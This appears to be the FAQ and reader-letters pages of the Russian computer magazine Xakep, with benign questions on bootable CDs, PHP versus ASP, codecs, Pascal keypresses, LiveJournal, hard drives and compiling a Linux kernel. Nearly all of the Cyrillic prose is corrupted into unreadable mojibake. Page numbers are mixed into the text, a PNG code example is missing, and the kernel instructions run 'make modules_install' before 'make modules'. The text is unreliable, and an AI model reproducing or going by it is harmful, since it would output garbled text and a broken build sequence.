âûøëî. Íå âõîäèò, ñâîëî÷ü!<br />
Q: Êàê çàïèñàòü íà CD çàãðóçî÷íûé ñåêòîð<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Òàêàÿ ôóíêöèÿ åñòü ïðàêòè÷åñêè âî âñåõ ïèñàëêàõ, íî ÿ ðàññêàæó ëèøü î ñàìûõ ðàñïðîñòðàíåííûõ. Â<br />
äðóãèõ òû ðàçáåðåøüñÿ ñàì - âñå äåëàåòñÿ ïðèìåðíî ïî òàêîìó æå ñöåíàðèþ.<br />
Nero:<br />
1. Åñëè ïðè çàãðóçêå ïîÿâëÿåòñÿ àâòîìàòè÷åñêèé ìàñòåð, ñìåëî çàêðûâàé åãî. Ñ åãî ïîìîùüþ íè÷åãî<br />
òîëêîâîãî âñå ðàâíî íå ñäåëàåøü. Ïîñëå ýòîãî äîëæíî îòêðûòüñÿ îêíî ðó÷íîé íàñòðîéêè çàïèñûâàåìîãî<br />
êîìïàêòà.<br />
2.  ëåâîé ÷àñòè îêîøêà âûáèðàé òèï çàïèñè êîìïàêòà, â íàøåì ñëó÷àå - "CD-ROM (Boot)". Ïîñëå ÷åãî<br />
îñòàåòñÿ ëèøü ïîïðàâèòü íåñêîëüêî çíà÷åíèé â ïîÿâèâøåéñÿ âêëàäêå "Boot".<br />
3. Òåîðåòè÷åñêè äîñòàòî÷íî ëèøü ïðàâèëüíî óêàçàòü ðàñïîëîæåíèå çàãðóçî÷íîãî ñåêòîðà â ïîëå "Image<br />
File". Îäíàêî íà ïðàêòèêå, îêàçûâàåòñÿ, íå âñå òàê ïðîñòî. Ïîýòîìó ðåêîìåíäóþ ïîñòàâèòü ãàëî÷êó íàïðîòèâ<br />
"Enable expert settings", è â ïîëÿõ "Kind of Emulation" è "Number of loaded sectors" ââåñòè ñîîòâåòñòâåííî<br />
"No Emulation" è "4".<br />
4. Íî è ýòî åùå íå âñå! Åñëè â êà÷åñòâå çàãðóçî÷íîãî ñåêòîðà òû áóäåøü þçàòü îðèãèíàëüíûå ôàéëû<br />
Microsoft (NT4BOOT.BIN èëè NT5BOOT.BIN), îáÿçàòåëüíî àêòèâèçèðóé îïöèþ "Do not add the ';1' ISO file<br />
version extension" â ñëåäóþùåé âêëàäêå.<br />
Easy CD Creator<br />
1.  êà÷åñòâå íîâîãî ïðîåêòà íåîáõîäèìî âûáðàòü "Bootable CD".<br />
2.  ïîÿâèâøåìñÿ îêîøêå íåîáõîäèìî îòêëþ÷èòü ýìóëÿöèþ, óñòàíîâèòü çíà÷åíèå "Sector Count" ðàâíûì<br />
"4", à èñïîëüçóÿ êíîïêó "Browse", óêàçàòü ïðîãðàììå ïóòü ê çàãðóçî÷íîìó ñåêòîðó.<br />
CDRWIN<br />
1. Ïåðâûì äåëîì êëèêàé ïî êíîïêå "File Backup and Tools", èìåííî çäåñü è ïðîèñõîäÿò âñå íàñòðîéêè<br />
çàïèñè çàãðóçî÷íîãî CD. Îòêðûâøååñÿ îêíî, âîçìîæíî, èñïóãàåò îáèëèåì ðàçëè÷íûõ íàñòðîåê, íî òû<br />
íå òåðÿéñÿ - âñå, ÷òî òåáå íóæíî - íàéòè çàâåòíóþ êíîïêó "Advanced Options".<br />
2. Äàëåå ïåðåõîäè âî âêëàäêó ñ íàçâàíèåì "Bootable Disc" è ïðîäåëûâàé ñëåäóþùèå äåéñòâèÿ. Àêòèâèçèðóé<br />
îïöèþ "Make Bootable Disc", â ïåðâîì âûïàäàþùåì ìåíþ âûáèðàé "Custom", â êà÷åñòâå "Image<br />
File Name" óêàæè ïóòü ê çàãðóçî÷íîìó ñåêòîðó, à êîëè÷åñòâî ñåêòîðîâ ("Load Sector Count"), êàê îáû÷íî,<br />
óñòàíîâè ðàâíûì ÷åòûðåì.<br />
WinOnCD 6<br />
1. Çäåñü ñîâñåì âñå ïðîñòî. Âî âðåìÿ ñîçäàíèÿ íîâîãî ïðîåêòà äëÿ çàïèñè CD ñ îáû÷íûìè äàííûìè,<br />
çàãëÿíè â îêîøêî "Bootable Disk Properties". Äàëåå â ïîÿâèâøåéñÿ âêëàäêå êëèêíè íàïðîòèâ "Create a<br />
bootable disk using data from image file" è óêàæè ïóòü äî çàãðóçî÷íîãî ñåêòîðà.  îïöèÿõ "Advanced<br />
Settings" óñòàíîâè êîëè÷åñòâî "Sectors to load" ðàâíûì "4" è â ñàìîì íèæíåì âûïàäàþùåì ìåíþ âûáåðè<br />
ïóíêò, îòêëþ÷àþùèé ýìóëÿöèþ ("No Emulation").<br />
Q: ×åì âîîáùå ðàçëè÷àþòñÿ PHP è ASP â ïëàíå âîçìîæíîñòåé<br />
A: Ïðåæäå ÷åì ðàññóæäàòü î âîçìîæíîñòÿõ, íåìíîãî î ôèëîñîôèè. ASP (Active Service Pages) - ýòî íå<br />
ÿçûê, ýòî ñðåäà ïðîãðàììèðîâàíèÿ, îáåñïå÷èâàþùàÿ âîçìîæíîñòü êîìáèíèðîâàíèÿ HTML, ñêðèïòîâ è<br />
êîìïîíåíòîâ äëÿ ñîçäàíèÿ âåá-ïðèëîæåíèé. Ïî óìîë÷àíèþ, ASP ïîíèìàåò "ëèøü" äâà ÿçûêà - VBScript,<br />
JScript, îäíàêî, èñïîëüçóÿ ñïåöèàëüíûå script engine, ìîæíî ðåàëèçîâàòü ïîääåðæêó Perl’à<br />
(http://www.activestate.com/), Rexx’à è íåêîòîðûõ äðóãèõ ÿçûêîâ. PHP æå îáëàäàåò ñâîèì ñîáñòâåííûì<br />
ñèíòàêñèñîì, ìíîãîå èç êîòîðîãî î÷åíü ñõîæå ñ àíàëîãàìè èç Ñ, Perl’à è Java’û. Îñíîâíàÿ öåëü - áûñòðîå<br />
ñîçäàíèå äèíàìè÷åñêèõ âåá-ñòðàíèö. Î âîçìîæíîñòÿõ òîãî èëè äðóãîãî ñóäèòü ñëîæíî. È òîò, è<br />
äðóãîé îòêðûâàþò ðàçðàáîò÷èêó øèðîêîå ïîëå äëÿ äåÿòåëüíîñòè è ðåàëèçàöèè ñàìûõ èçâðàùåííûõ<br />
ñâîèõ ôàíòèçèé :). ×òî êàñàåòñÿ âîïðîñà î áûñòðîäåéñòâèè, òî ASP, ê ñîæàëåíèþ, äàëåêî ïîçàäè. Òàê,<br />
íàïðèìåð, ñèñòåìà *BSD + apache + php + mysql ðàáîòàåò ÷óòü ëè íå â äâà ðàçà áûñòðåå, ÷åì Win2K<br />
+ IIS + ASP + MSSQL. Õîòÿ è çäåñü åñòü êîå-êàêèå íþàíñû.<br />
100
Q: ×àñòåíüêî ïûòàþñü ïîñìîòðåòü òåëåâèçèîííûå<br />
òðàíñëÿöèè ÷åðåç èíåò. Íî íè-<br />
÷åãî íå ïîëó÷àåòñÿ. Òî íå õâàòàåò êàêèõòî<br />
êîäåêîâ, êîòîðûå ñàìè ïî÷åìó-òî íå<br />
ñòàâÿòñÿ, òî åñòü çâóê, íî íåò èçîáðàæåíèÿ.<br />
 ïðèìåð ïðèâåäó òðàíñëÿöèþ 1-ãî<br />
êàíàëà (www.1tv.ru). Ïîìîãèòå, íà ðà-<br />
âîïðîñ.......................<br />
áîòå èíåò æèðíûé è äåëàòü íå÷åãî =)).<br />
îòâåò.........................<br />
A: Ïðàêòè÷åñêè âñå ñåðâèñû, èñïîëüçóþùèå ïîòîêîâîå âèäåî äëÿ èíòåðíåò-òðàíñëÿöèé, èñïîëüçóþò<br />
íîâåíüêèå êîäåêè Windows Media Video 9 è Windows Media Audio 9. Ïðàêòè÷åñêè óâåðåí, ÷òî ó òåáÿ èõ<br />
íåò, ïîýòîìó áåãîì íà îôô-ñàéò Ìåëêîìÿãêîãî (http://www.microsoft.com/windows/windowsmedia/format/codecdownload.asp).<br />
Åñëè æåëàíèÿ âîçèòüñÿ ñ ðó÷íîé óñòàíîâêîé êîäåêîâ íåò (ëåíèâûé, îäíàêî),<br />
òî ñ æèðíûì êàíàëîì áóäåò ïðîùå ïðîñòî ñêà÷àòü Windows Media Player ïîñëåäíåé âåðñèè<br />
(http://www.microsoft.com/windows/windowsmedia/players.aspx). Íåäàâíî ïðîáåãàë âîïðîñ î òîì, ÷òî â<br />
íåì íîâåíüêîãî. Îòâå÷ó ëàêîíè÷íî - íè÷åãî :). Âñå òàêîé æå "òÿæåëûé" è êðàñèâûé ïëååð, íè÷åì îñîáåííûì<br />
íå âûäåëÿåòñÿ. ß ïðåäïî÷èòàþ àëüòåðíàòèâíûå âåðòóøêè. Íàïîñëåäîê íàïîìíþ, ÷òî áîëüøèíñòâî<br />
êîäåêîâ (à îíè â ïîñëåäíåå âðåìÿ ïëîäÿòñÿ â íåìûñëèìûõ êîëè÷åñòâàõ) âêëþ÷åíû â ñïåöèàëüíûå<br />
"êîäåê-ïàêè". Íàèáîëåå èçâåñòíûå - Nimo Pack (http://www.divxdigest.com/software/nimo_pack.html),<br />
K-Lite Codec Pack (http://www.k-lite.tk).<br />
Q: À êàê ìîæíî çàôèêñèðîâàòü<br />
íàæàòèÿ êëàâèø<br />
âîïðîñ.......................<br />
F1-F12 íà ñòàðîì<br />
äîáðîì ïàñêàëå<br />
îòâåò.........................<br />
A: Ñàìûé ñòàíäàðòíûé ñïîñîá:<br />
uses Crt;<br />
var<br />
Key: char;<br />
Begin<br />
while true do Begin<br />
Key:=readkey;<br />
case Key of<br />
#0: WriteLN('#0 + #', ord(readkey));<br />
#27: Begin WriteLN('#27 - Esc pressed.'); Halt; End;<br />
Else WriteLN(ord(key))<br />
End;<br />
End;<br />
End.<br />
Q: Ñðî÷íî íóæíà ëþáàÿ èíôîðìàöèÿ<br />
î ðàñêðóòêå ñàéòà. Îñîáåííî<br />
èíòåðåñóþò ñïåöèàëüíûå<br />
ñèñòåìû ðàñêðóòêè.<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Ñèñòåìû ðàñêðóòêè:<br />
http://www.1ps.ru/<br />
http://www.rusip.ru/<br />
http://submitter.ru/<br />
http://www.raskrutim.ru/<br />
Íàèáîëåå èíòåðåñíûå, íà ìîé âçãëÿä, ïîðòàëû:<br />
http://www.searchengines.ru/<br />
http://www.1ps.ru/article/<br />
http://promosite.ru/<br />
http://sitemaker.ru/promo/<br />
http://www.kokoc.com/search-engines/index.shtml<br />
http://www.oborot.ru/<br />
Q:  ïîñëåäíåå âðåìÿ ìåíÿ ÷àñòåíüêî ñïðàøèâàþò:<br />
"À ó òåáÿ ÆÆ åñòü". Îñòàâàÿñü â<br />
àáñîëþòíîì íåâåäåíèè, ÷òî ýòî òàêîå, ÿ<br />
ñêðîìíî äàþ îòðèöàòåëüíûé îòâåò. Ðàññêàæè,<br />
ïîæàëóéñòà, ïîäðîáíåå î ÆÆ!<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Åùå ñîâñåì íåäàâíî â "Õàêåðå" áûëà õîòü è íåáîëüøàÿ, íî èíôîðìàòèâíàÿ ñòàòüÿ î LiveJournal’å (Æèâîé<br />
Æóðíàë, îòñþäà è àááðåâèàòóðà ÆÆ), à ïîäîáíûå âîïðîñû âñå èäóò è èäóò. ×òî æ, ïðèäåòñÿ îáúÿñíèòü åùå<br />
ðàç. Íî ýòîò ðàç - ïîñëåäíèé! Áûâàëûì ïîëüçîâàòåëÿì ÐóÍåòà óæå äàâíî íàäîåëî áåññìûñëåííîå îáùåíèå<br />
íà ôîðóìàõ è êîíôåðåíöèÿõ è åùå õóæå - â ÷àòàõ. Êàçàëîñü áû, ÷òî åùå ìîæíî ïðèäóìàòü äëÿ âîçðîæäåíèÿ<br />
èíòåðåñà ê îáû÷íîìó òðåïó Îêàçàëîñü, ÷òî ìîæíî! È èìÿ ýòîìó ÷óäó - âèðòóàëüíûå äíåâíèêè. Çäåñü<br />
êàæäûé íàøåë òî, ÷òî èñêàë. Îäíè ïîëó÷èëè ñïîñîá îáñóäèòü ñ âèðòóàëüíûìè äðóçüÿìè ïðîáëåìû ñ ó÷åáîé,<br />
äåâóøêîé, ðîäèòåëÿìè, êîìïüþòåðîì èëè ïðîñòî ïîâñåäíåâíûå òðóäíîñòè. Äðóãèå, òå, êòî ëþáèò<br />
ëåçòü íå â ñâîè äåëà, íàøëè, íàêîíåö, íåèñ÷åðïàåìûé ðåñóðñ ñïëåòåí, èíòðèæåê è ò.ï. Ïîýòîìó ïîÿâèâøèéñÿ<br />
ñåðâåð www.LiveJournal.com êîëîññàëüíûìè òåìïàìè çàâîåâàë ïîïóëÿðíîñòü. Ôèøåê íåñêîëüêî. Âîïåðâûõ,<br />
ïðîñòîòà. À ÷òî åùå íóæíî ðÿäîâîìó ïîëüçîâàòåëþ - êðàñèâî, óäîáíî è ôóíêöèîíàëüíî (à òû äóìàë,<br />
ïî÷åìó âèíäà ñòîëü ïîïóëÿðíà). Äåëî â òîì, ÷òî âñÿ òåõíè÷åñêàÿ ñòîðîíà äåëà ëåæèò íà ïëå÷àõ ðàçðàáîò÷èêîâ<br />
ñåðâèñà. À îíè, ìåæäó ïðî÷èì, â ñâîå âðåìÿ ïîðàáîòàëè íà ñëàâó. Èìåþùèåñÿ øàáëîíû (âíåøíèé<br />
âèä äíåâíèêà) ìîæíî áåç ïðîáëåì ïîäîãíàòü ïîä ñåáÿ, ïðîäâèíóòàÿ ñèñòåìà êîììåíòàðèåâ äàëà òî,<br />
áåç ÷åãî íå ìîãóò æèòü èíòåðíåò÷èêè, - îáùåíèå. À ïðîäóìàííàÿ è îòëè÷íî ðåàëèçîâàííàÿ ñèñòåìà "äðóæåñòâåííûõ<br />
äíåâíèêîâ" ïîçâîëèëà ïðî÷èòàòü è ïðîêîììåíòèðîâàòü âñå íîâûå çàïèñè äðóçåé îäíèì ìàõîì,<br />
"íå êî÷óÿ" îò îäíîãî äíåâíèêà ê äðóãîìó. Åñòü è åùå íåñêîëüêî íþàíñîâ. Íå òåáå îáúÿñíÿòü, ÷òî WWW-ôîðìû<br />
- âåùü äîâîëüíî ìåäëåííàÿ, äà è ïðè ïîòåðå êîííåêòà âî âðåìÿ ïåðåäà÷è ìîæíî áåçâîçâðàòíî ïîòåðÿòü<br />
ïàðó-ôòðîéêó êèëîáàéò òîëüêî ÷òî îòáèòîãî è îòðåäàêòèðîâàííîãî ÷òèâà. Ïîýòîìó ïîÿâèâøèåñÿ ñïåöèàëüíûå<br />
êëèåíòû äëÿ äîáàâëåíèÿ â æóðíàë çàïèñåé ñòàëè åùå îäíèì íåîñïîðèìûì ïëþñîì ñåðâåðà. Ìíå<br />
ëè÷íî ïîíðàâèëèñü Semagic 1.2.1.1 (http://www.livejournal.com/community/ljwin32_sema/), è KLuJe<br />
(http://kluje.sourceforge.net/). Ïåðâûé ïîä âèíäû, âòîðîé ðàáîòàåò òîëüêî ïîä KDE, è òîò è äðóãîé ïðàêòè-<br />
÷åñêè èäåíòè÷íû ïî ôóíêöèîíàëüíîñòè è íè÷åãî ñëîæíîãî ñîáîé íå ïðåäñòàâëÿþò.  ëþáîì ñëó÷àå, åñëè<br />
òåáÿ îíè ÷åì-òî íå óñòðîÿò, ìîæåøü ñìåëî ïîèñêàòü ÷òî-íèáóäü ïîäõîäÿùåå ñðåäè íåñêîëüêèõ äåñÿòêîâ<br />
àíàëîãîâ - http://www.livejournal.com/download/. Òåïåðü ëîæêà äåãòÿ. Ðàçðàáîò÷èêè çàâåäîìî îïàñàëèñü<br />
áîëüøîãî íàïëûâà äåáèëîâ è èìáåöèëîâ, êîòîðûì äíåâíèêè, ÿñíîå äåëî, íóæíû òîëüêî äëÿ òîãî, ÷òîáû<br />
ïîôëåéìèòü. Ïîýòîìó çàðåãèñòðèðîâàòüñÿ â ñèñòåìå ìîæíî, òîëüêî èñïîëüçóÿ ñïåöèàëüíûé êîä. Åäèíñòâåííûé<br />
ñïîñîá åãî ïîëó÷èòü - ïîïðîñèòü êîãî-íèáóäü èç óæå çàðåãèñòðèðîâàííûõ ïîëüçîâàòåëåé. Åñëè<br />
òàêîâûõ íåò - îáðàùàéñÿ â ñïåöèàëüíûå îáùåñòâà :) - http://www.livejournal.com/community/ru_invite/ è<br />
http://www.livejournal.com/community/mozhno_kod/. Áûòü ìîæåò, òåáå ïîìîãóò. Êñòàòè, åñëè òû ïîäóìàë, ÷òî<br />
ÆÆ - åäèíñòâåííûé â ñâîåì ðîäå, òû ãëóáîêî íå ïðàâ.  îäíîì ÐóÍåòå ÿ çíàþ íåñêîëüêî âïîëíå ïðèëè÷íûõ<br />
ñåðâèñîâ (www.diary.ru, www.li.ru, www.blog.ru), à óæ ñêîëüêî çàáóãîðíûõ...
Þíèòû<br />
FAQ<br />
Q:<br />
Stepan Ilyin aka Step (faq@real.xakep.ru)<br />
Çàäàâàÿ âîïðîñ, ïîäóìàé! Íå ñòîèò ìíå ïîñûëàòü<br />
âîïðîñû, òàê èëè èíà÷å ñâÿçàííûå ñ<br />
õàêîì/êðÿêîì/ôðèêîì - äëÿ ýòîé åñòü hack-faq<br />
(hackfaq@real.xakep.ru), íå ñòîèò òàêæå çàäàâàòü<br />
îòêðîâåííî ëàìåðñêèå âîïðîñû, îòâåò íà êîòîðûå<br />
òû ïðè îïðåäåëåííîì æåëàíèè ìîæåøü íàéòè è<br />
ñàì. ß íå òåëåïàò, ïîýòîìó êîíêðåòèçèðóé âîïðîñ,<br />
ïðèñûëàé êàê ìîæíî áîëüøå èíôîðìàöèè.<br />
Q: Óæå äîâîëüíî äàâíî<br />
ìåíÿ ìó÷àåò îäèí âîïðîñ.<br />
Ó ìåíÿ ñòîèò SB Live 5.1,<br />
ïîñëå òîãî êàê ïðèîáðåë<br />
5.1 àêóñòèêó, ñðàçó çàìåòèë,<br />
÷òî íå ðàáîòàåò<br />
ôðîíòàëüíûé ñàòåëëèò.<br />
Ïîìîãèòå! Ìîæåò, ýòî<br />
íåèñïðàâíîñòü, è ïî ãàðàíòèè<br />
íóæíî ñäàâàòü<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Äëÿ íà÷àëà ñòîèò îïðåäåëèòü, ãäå èìåííî íå ðàáîòàåò ñàòåëëèò.<br />
Äåëî â òîì, ÷òî ïîëíîöåííûì çâóêîì 5.1 ìîæíî<br />
íàñëàäèòüñÿ òîëüêî ïðè ïðîñìîòðå DVD èëè âî âðåìÿ èãðû<br />
â íåêîòîðûå ïðîäâèíóòûå èãðóøêè (íàïðèìåð, Unreal II). À<br />
ïðè ïðîñëóøèâàíèè îáû÷íûõ CDA, mp3, divx è òîìó ïîäîáíîãî<br />
ñàòåëëèò ïî óìîë÷àíèþ ìîë÷èò. Ìîæíî, êîíå÷íî, âîñïîëüçîâàòüñÿ<br />
5.1-ñèìóëÿöèåé, êîòîðàÿ àêòèâèçèðóåòñÿ â<br />
íàñòðîéêàõ çâóêîâóõè, íî íè÷åãî êðîìå EAX ýôôåêòîâ òû íå<br />
ïîëó÷èøü. Òåïåðü î òîì, êàê æå âñå-òàêè ïðîâåðèòü ðàáîòîñïîñîáíîñòü<br />
âñåé ñèñòåìû. Åñëè âî âðåìÿ êðåàòèâîâñêîãî<br />
òåñòà ñàòåëëèò ðàáîòàåò - êîïè äåíüãè íà DVD, åñëè æå<br />
íåò - ïðîâåðü ïðàâèëüíîñòü ïîäêëþ÷åíèÿ êîëîíîê èëè èäè<br />
â òåõíè÷åñêèé öåíòð.<br />
Q: Ïîìíþ, òû âñåãäà õâàëèë ïðîäóêöèþ<br />
Seagate, ìîë "ðûáû" ñàìûå áûñòðûå,<br />
ñàìûå òèõèå è ò.ï. À ìíîãèå ñåé÷àñ ãîâîðÿò,<br />
÷òî ïðîäóêöèÿ Seagate ñèëüíî èñïîãàíèëàñü!<br />
Ïðàâäà ëè ýòî!<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Ê ñîæàëåíèþ, èìåííî òàê è åñòü. Ïîñëåäíèå âèíòû, êîòîðûå ïðîèçâîäèòåëü îáîçâàë<br />
Seagate Barracuda 7200.7 (ST380011A, ST340014A), âûçûâàþò ëèøü îòðèöàòåëüíûå ýìîöèè.<br />
Ñêîðîñòü ÷òåíèÿ íå òîëüêî íå óâåëè÷èëàñü, íî äàæå óïàëà. Ñî ñêîðîñòüþ äîñòóïà - òà æå ôèãíÿ.<br />
Íà ãðàôèêè, ïîñòðîåííûå ðàçëè÷íûìè áåí÷ìàðêàìè, äàæå ñìîòðåòü òîøíî. Ñïëîøíûå<br />
ïðîâàëû. Æóòü! Óìà íå ïðèëîæó, êàê ìîæíî áûëî òàê ðåçêî âñå èñïîðòèòü!<br />
ß òóò íåäàâíî ïîäóìàë, ïî÷èòàë êîå-÷òî è ðåøèë,<br />
÷òî ìîæíî íåïëîõî çàðàáîòàòü íà áàííåðíîé<br />
ðåêëàìå. Ñðàçó çàõîòåëîñü ñäåëàòü òàêîé<br />
ïîðòàë, êîòîðîìó íóæíî óäåëÿòü ìèíèìóì âíèìàíèÿ<br />
è ïîëó÷àòü ìàêñèìóì îòäà÷è. Âûáîð ïàë íà<br />
âîïðîñ.......................<br />
"áîëüøîé" ÷àò. Ïîäñêàæè ÷òî-íèáóäü!<br />
îòâåò.........................<br />
A: http://sourceforge.net/projects/phpmychat/ (PHP, MySQL)<br />
http://www.schulhofchat.de/ (PHP, MySQL)<br />
http://www.gtchat.de/ (Perl, áåç MySQL)<br />
http://www.phpheaven.net/ (PHP, MySQL)<br />
http://dukalis.ru/scripts/ (PHP, MySQL)<br />
http://www.med-chat.org/med-chat/en/med-chat/ (PHP, MySQL)<br />
Ñîâåòóþ òùàòåëüíî ïðîâåðèòü ñîîáùåíèÿ â áàãòðàêàõ íà ïðåäìåò çàìåòîê î âûáðàííîì ÷àòå. Èíà÷å ïðîáëåì ìîæåò<br />
áûòü ìîðå.<br />
Q: Óñòðàèâàþñü íà ðàáîòó êîìïüþòåðùèêîì. Â ñïèñêå îáÿçàòåëüíûõ óñëîâèé åñòü òàêîé ïóíêò (âû òîëüêî íå ñìåéòåñü)<br />
- "Óìåíèå îôîðìëÿòü ïî÷åòíûå ãðàìîòû". À ÿ èõ íè ðàçó íå äåëàë. È âîîáùå ÿ ïðîãðàììèñò, à íå äèçàéíåð.<br />
Ïîìîãèòå, ïîæàëóéñòà, ïðåäëîæåíèå óæ ñëèøêîì çàìàí÷èâîå.<br />
A: Ìîãó ïîñîâåòîâàòü çàãëÿíóòü â ëþáîé êíèæíûé èëè êàíöåëÿðñêèé ìàãàçèí è êóïèòü ïàðó-òðîéêó êà÷åñòâåííûõ<br />
áëàíêîâ ãðàìîò. Èõ â ïðîäàæå õâàòàåò, ïîâåðü ìíå. Ïîïàäàåòñÿ àáñîëþòíàÿ áåçâêóñèöà, íî íåêîòîðûå î÷åíü äàæå<br />
íè÷åãî - âûïîëíåíû òîðæåñòâåííî, ïðîñòî, ïðîôåññèîíàëüíî è ñàìîå ãëàâíîå êðàñèâî. Îñòàëîñü îòñêàíèðîâàòü è â<br />
ëþáîì ãðàôè÷åñêîì ðåäàêòîðå äîáàâèòü òåêñò. Åñëè æå îò òåáÿ òðåáóåòñÿ ëèøü íàïå÷àòàòü òåêñò íà ãîòîâûõ áëàíêàõ,<br />
òî ðåêîìåíäóþ äåëàòü âñå íå íà ãëàç, à èñïîëüçóÿ ñïåöèàëüíûå ðàçìåòêè ðåäàêòîðà, èëè, â êðàéíåì ñëó÷àå, ìåòîäîì<br />
ïðîá è îøèáîê íà îáû÷íîé áóìàãå.<br />
Q: À ÷òî ýòî çà íîâîìîäíûé ôîðìàò PNG Êàêèìè<br />
áðàóçåðàìè ïîääåðæèâàåòñÿ, êàêèìè íåò<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Ôîðìàò PNG ("Ïèíã" - èìåííî òàê îáçûâàþò åãî ñàìè ðàçðàáîò÷èêè) ïî ïðàâó çàñëóæèâàåò âíèìàíèÿ âåá-äèçàéíåðîâ.<br />
Èñïîëüçóåòñÿ, êàê ïðàâèëî, äëÿ õðàíåíèÿ íåñëîæíûõ ðèñóíêîâ. Èìåííî â ýòîì ñëó÷àå åãî èñïîëüçîâàíèå<br />
íàèáîëåå ýôôåêòèâíî. Ïîðîé äàæå ýôôåêòèâíåå ïðîâåðåííîãî âðåìåíåì GIF’à. ×òî êàñàåòñÿ ïîääåðæêè áðàóçåðàìè,<br />
òî ýòî, ê ñîæàëåíèþ, ïîêà åùå áîëüíîå ìåñòî. Åñëè â Îïåðå è Ìîçèëëå âñå ðàáîòàåò ïðîñòî çàìå÷àòåëüíî,<br />
òî IE äî ñèõ ïîð íå íàó÷èëñÿ ïîíèìàòü ïðîçðà÷íûå ôîíû ó ðèñóíêîâ, ñîõðàíåííûõ â ôîðìàòå PNG ïîñëåäíåé âåðñèè.<br />
Ïðàâäà, åñëè ïîäêëþ÷àòü PNG, èñïîëüçóÿ ñëåäóþùèé êîä:<br />
<br />
"îñåë" îòîáðàçèò âñå êàê íàäî. Ïîäðîáíåå î ôîðìàòå è ðåøåíèè ïðîáëåì ñ ïðîçðà÷íûìè ôîíàìè ìîæíî ïðî÷èòàòü<br />
íà ñàéòàõ http://www.alistapart.com/stories/pngopacity/ è http://www.w3.org/TR/png.html.<br />
Q: À êàê îòêîìïèëèðîâàòü<br />
Linux-ÿäðî<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Äî ñèõ ïîð íå ïîíèìàþ, îòêóäà âçÿëñÿ ñëóõ, ÷òî óìåíèå ïåðåêîìïèëèðîâàòü<br />
ÿäðî *nix-ñèñòåìû ïîäâëàñòíî òîëüêî êîìïüþòåðíûì<br />
ãóðó. Íà ñàìîì äåëå, âñå äîâîëüíî ïðîñòî. Èòàê, ïðèñòóïèìñ.<br />
Äëÿ íà÷àëà íóæíî íàéòè ñâåæåå ÿäðûøêî. Êóïèøü ëè òû "Õàêåð"<br />
ñ äèñêîì èëè ñêà÷àåøü åãî ñ ftp’øíèêà<br />
(ftp://ftp.kernel.org/pub/linux/kernel/) - íåâàæíî. Ãëàâíîå, ÷òîáû<br />
îíî áûëî "ñâåæèì". Ïîñëå íåîáõîäèìî åãî ðàñïàêîâàòü â<br />
/usr/src/linux. Äëÿ ñàìûõ ìàëåíüêèõ - ýòî ìîæíî ñäåëàòü òàê: tar<br />
xvjf linux-x.x.x.tar.bz2 (â ñëó÷àå, åñëè òû ñêà÷àë â tar.bz2 àðõèâå).<br />
Íà ýòîì ñàìàÿ ëåãêàÿ ÷àñòü çàêîí÷åíà. Ïðåäñòîèò íåëåãêàÿ ïðîöåäóðà<br />
ñîçäàíèÿ êîíôèãà. Ðàçðàáîò÷èêè ïðåäëàãàþò 4 âàðèàíòà:<br />
òåêñòîâûé êîíñîëüíûé êîíôèã (äëÿ çàïóñêà íàäî íàáðàòü make<br />
config), ãðàôè÷åñêèé êîíñîëüíûé (make menuconfig), ãðàôè÷åñêèé<br />
x-âèíäîâûé (make xconfig), âîññòàíîâëåíèå ñòàðîãî âàðèàíòà<br />
êîíôèãà èç .config (make oldconfig). Âûáîð çà òîáîé. ß, íàïðèìåð,<br />
âñåãäà ïîëüçóþñü ïåðâûì. ×òîáû ãðàìîòíî îòâå÷àòü íà âîïðîñû<br />
ñèñòåìû, ñîâåòóþ îáðàòèòüñÿ ê ìàíóàëàì è<br />
/usr/src/linux/Documentation, òàê êàê äëÿ îáúÿñíåíèÿ âñåõ íþàíñîâ<br />
ïîíàäîáèòñÿ öåëàÿ ñòàòüÿ. Ïîñëå òîãî, êàê êîíôèã ãîòîâ, â<br />
/usr/src/linux ñëåäóåò ïîñëåäîâàòåëüíî íàáðàòü: make dep, make<br />
bzImage, çàòåì make modules_install, è, íàêîíåö, make modules. È<br />
âñå, ÿäðî ãîòîâî. Îñòàëîñü çàñòàâèòü åãî ãðóçèòüñÿ. Äëÿ ýòîãî äîáàâü<br />
â /etc/lilo.conf ñëåäóþùåå:<br />
image=/boot/kernel<br />
label=linux-x.x.x<br />
ãäå /boot/kernel - ïðåäâàðèòåëüíî ñêîïèðîâàííûé ôàéë<br />
/usr/src/linux/arch/i386/boot/bzImage.<br />
102
Þíèòû<br />
ÍÀ ÏÈÑÜÌÀ ÎÒÂÅ×ÀË AVALANCHE<br />
e-MAIL<br />
From: Siner [Siner@ngs.ru]<br />
Subject: ×òî ñî ìíîé ñòàëî<br />
Íàøå å-ìûëî: magazine@real.xakep.ru<br />
From: Òàìàðà Öîöîðèÿ [tomie1803@mtu-net.ru]<br />
Subject: n/a<br />
Ïðèâåò ðåäàêöèÿ!<br />
ß - íà÷èíàþùèé ÷èòàòåëü Õ.. è ðåøèë íå ïðîïóñêàòü íè îäíîãî íîìåðà âàøåãî<br />
æóðíàëà. Íî Õ.. (õàêåð) î÷åíü áûñòðî ðàñêóïàþò :(.<br />
Î÷åíü õîòåëîñü áû ïîêóïàòü ñâåæèé íîìåð ñ äèñêîì. Ïîäñêàæèòå, ãäå ìîæíî<br />
äîñòàòü<br />
Óâàæàåìûé(àÿ) Ò.., ðàç óæ òû âñå-òàêè ðåøèë(à) íå ïðîïóñêàòü íè<br />
îäíîãî íîìåðà, ïðèäåòñÿ ïîòðóäèòüñÿ. Â íàøå òÿæåëîå âðåìÿ,<br />
êîãäà äàæå êîìïüþòåðíûå æóðíàëû ñòàëè äåôèöèòîì, ó ðÿäîâîãî<br />
÷èòàòåëÿ âñåãî äâà ïóòè: äîãîâîðèòüñÿ ñ ïðîäàâöîì íà ëîòêå, ÷òîáû<br />
îí îñòàâëÿë îäèí ýêçåìïëÿð ñïåöèàëüíî äëÿ òåáÿ (êëÿòâåííî<br />
ïîîáåùàâøåãî íå ïîçäíåå, ÷åì ÷åðåç äâà äíÿ ïîñëå âûõîäà<br />
íîìåðà, åãî êóïèòü) èëè âîñïîëüçîâàòüñÿ óñëóãàìè ïî÷òû<br />
